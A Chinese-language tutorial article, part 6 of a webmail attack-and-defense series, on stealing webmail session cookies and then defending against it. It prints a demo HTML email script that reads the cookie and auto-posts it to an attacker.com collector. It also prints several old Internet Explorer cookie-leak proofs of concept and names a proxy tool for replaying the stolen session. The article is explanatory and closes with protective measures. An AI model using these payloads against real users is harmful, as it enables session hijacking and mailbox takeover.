Webmail攻防实战(6)
核心提示:假设攻击者能够获得用户WebMail的cookie信息,那末便可以很轻易地侵进用户的WebMail。攻击者如何获得用户WebMail的cookie信息呢?假设攻击者在用户的电脑上安装了木马,或能够从网络线路上对用户进行嗅探侦听,那末获得cookie信息自然不成题目
假设攻击者能够获得用户WebMail的cookie信息,那末便可以很轻易地侵进用户的WebMail。攻击者如何获得用户WebMail的cookie信息呢?假设攻击者在用户的电脑上安装了木马,或能够从网络线路上对用户进行嗅探侦听,那末获得cookie信息自然不成题目,不过这其实不是我们讨论题目的意义所在,由于都能够这样了,又何必大费周折往获得cookie信息,直接获得邮箱密码就是了。
假设WebMail系统存在跨站脚本履行漏洞,那末攻击者便可以欺骗用户从而轻易地获得cookie信息,固然众多网站存在此漏洞,但存在此漏洞的WebMail系统还很少见。
含有恶性脚本程序的html邮件能使攻击者获得WebMail的cookie信息。Html邮件中的脚本程序先提取当前WebMail的cookie信息,然后把它赋值给某个表单元素,再将表单自动提交给攻击者,攻击者从而取得cookie会话信息。下面是1段演示程序:
以下为援用的内容: <body> <formmethod="post"action="http://attacker.com/getcookie.cgi"name="myform"> <inputname="session"type="hidden"> </form> <scriptlanguage="JavaScript"> varcookie=(document.cookie); alert(cookie);//这1句用于显示当前cookie信息,固然,攻击者不会这样做。 document.myform.session.value=cookie; document.myform.submit(); </script> |
getcookie.cgi是放在攻击者web服务器上的1个cgi程序,用于获得表单提交过来的cookie信息,并且做记录或通知攻击者。固然,攻击者会把html邮件、getcookie.cgi程序设计得更隐蔽,更具欺骗性,让用户难以发觉。
通常,浏览器根据web服务器的域名来分别保存cookie信息,并且只会把cookie信息发送给同1域名的web服务器。不过,浏览器的漏洞给攻击者获得不同域名的cookie信息创造了机会,InternetExplorer、Netscape和Mozilla等被广泛使用的浏览器都存在过此类漏洞。下面是几个InternetExplorer浏览器(针对IE5.0、IE5.5或IE6.0)泄漏cookie信息的例子:
(1)Html语言中的object元素用于在当前页面内嵌进外部对象,但InternetExplorer浏览器对object元素属性的处理不当会导致任意域的cookie信息被泄漏,演示代码以下:
以下为援用的内容: <objectid="data"data="empty.html"type="text/html"></object> <script> varref=document.getElementById("data").object; ref.location.href="http://www.anydomain.com"; setTimeout("alert(ref.cookie)",5000); </script> |
(2)InternetExplorer浏览器毛病处理“about”协议使得1个精心构造的URL要求可能会显示或修改任意域的cookie信息,例如(以下代码在同1行):
about://www.anydomain.com/<scriptlanguage=JavaScript>alert(document.cookie);</script>
(3)InternetExplorer浏览器会误把URL中“%20”(空格符的URL编码)字符串之前的主机名当作cookie信息所在的域,并且发送出往。假定攻击者有1个域名“attacker.com”,攻击者把它做成泛域名解析,即把“*.attacker.com”指向攻击者web服务器所在的IP地址,“attacker.com”下的任何子域名或主机名都会被解析成这个IP地址,当用户提交了类似下面这样的URL后,浏览器就会把“anydomain.com”域名的cookie信息发送给攻击者:
http://anydomain.com%20.attacker.com/getcookie.cgi
假设攻击者要获得WebMail的临时型cookie信息,就会在html邮件中写进相应的代码,在用户浏览邮件时,该代码自动履行,使得攻击者能够获得当前浏览器里的临时cookie信息,也能够把用于获得cookie信息的URL发送给用户,诱骗用户打开该URL,这样攻击者也能获得临时cookie信息。
在攻击者获得cookie信息后,假设cookie信息里含有密码等敏感信息,那末攻击者便可以很轻易地侵进用户的邮箱,固然hotmail等WebMail系统曾产生过此类的情况,但cookie信息泄漏敏感信息的WebMail系统还很少见。
攻击者在获得cookie信息以后,还要让此cookie信息由浏览器来存取从而与WebMail系统建立会话,这样才能侵进用户的WebMail。假设是持久型cookie信息,攻击者所要做的是把这个信息复制到自己的cookie文件中往,由浏览器存取该cookie信息从而与WebMail系统建立会话,不过临时cookie信息存储在内存中,其实不轻易让浏览器存取。
为了让浏览器存取临时cookie信息,攻击者可以编辑内存中的cookie信息,或修改公然源代码的浏览器,让浏览器能够编辑cookie信息,不过这样都不是很简便的方法,简便的方法是使用Achilles程序(packetstormsecurity.org网站有下载)。Achilles是1个http代理服务器,能够载取浏览器和web服务器间的http会话信息,并且在代理转发数据之前可以编辑http会话和临时cookie信息。
WebMail系统应当避免使用持久型cookie会话跟踪,使攻击者在cookie会话攻击上不能轻易得逞。为了避免cookie会话攻击,用户可以采取以下措施以加强安全:
(1)设置浏览器的cookie安全级别,禁止所有cookie或只接受某几个域的cookie。
(2)使用cookie治理工具,增强系统cookie安全,如CookiePal、BurntCookies等。
(3)及时给浏览器打补钉,避免cookie信息泄漏。
唐山网站建设www.fw8.netTAG:浏览器,用户,系统,攻击者,信息
评论加载中...
|